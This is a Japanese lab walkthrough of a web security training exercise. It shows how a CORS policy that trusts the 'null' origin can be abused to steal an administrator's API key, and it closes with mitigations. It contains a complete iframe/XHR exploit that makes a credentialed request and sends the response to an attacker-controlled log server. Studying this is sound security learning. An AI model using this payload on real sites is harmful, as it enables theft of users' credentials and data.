Shikata Ga Nai

Private? There is no such things.

LAB: CORS脆弱性(nullオリジンの信頼)を悪用したAPIキーの取得

Hello there, ('ω')ノ

💡 このラボの目的

このラボでは、CORS設定が誤って "null" オリジンを信頼しているケースを利用し、管理者のAPIキーを盗む手法を学びます。


🔍 脆弱性の概要

多くのWebサイトでは、開発効率のためにCORSを使ってクロスドメイン通信を許可していますが、以下のような誤った設定がしばしば見られます。

  • Origin: null信頼済みオリジンとして許可している
  • Access-Control-Allow-Origin: null を返し、Access-Control-Allow-Credentials: true を付けてしまう

これにより、nullオリジンを利用したiframe経由の攻撃が成立します。


🛠 攻撃手順まとめ

① 自分のアカウントで確認

  1. ラボにログインし、My accountページにアクセス
  2. Burpで通信を確認し、/accountDetails がAJAXでAPIキーを返していることを確認

② CORS動作を確認

  1. /accountDetails のリクエストに Origin: null を追加して送信
  2. レスポンスで Access-Control-Allow-Origin: null が返っていれば脆弱性あり!

③ Exploit用コードを作成

Exploitサーバに以下のコードをアップロードします(YOUR-LAB-IDとYOUR-EXPLOIT-SERVER-IDは適宜置き換えてください):

<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
  var req = new XMLHttpRequest();
  req.onload = reqListener;
  req.open('GET','https://YOUR-LAB-ID.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
  function reqListener() {
    location='https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
  };
</script>">
</iframe>

④ 検証と送信

  1. 「View exploit」で自分のAPIキーが盗まれるか確認
  2. 「Deliver exploit to victim」で管理者にエクスプロイトを配信
  3. 「Access log」から管理者のAPIキーを取得し、提出してラボを完了

✅ 攻撃成功のポイント

  • sandbox 属性により、iframe内のJSは Origin: null 扱いになります
  • withCredentials: true でCookie付きのリクエストを送信可能
  • サーバが null オリジンを信頼してしまっているため、認証情報が漏洩します

🛡 対策

  • Access-Control-Allow-Origin: null を絶対に許可しない
  • Access-Control-Allow-Credentials: true を設定する場合、厳格にオリジンを制限する
  • 必要最小限のオリジンのみをホワイトリストに登録し、ワイルドカードや文字列一致には注意

Best regards, (^^ゞ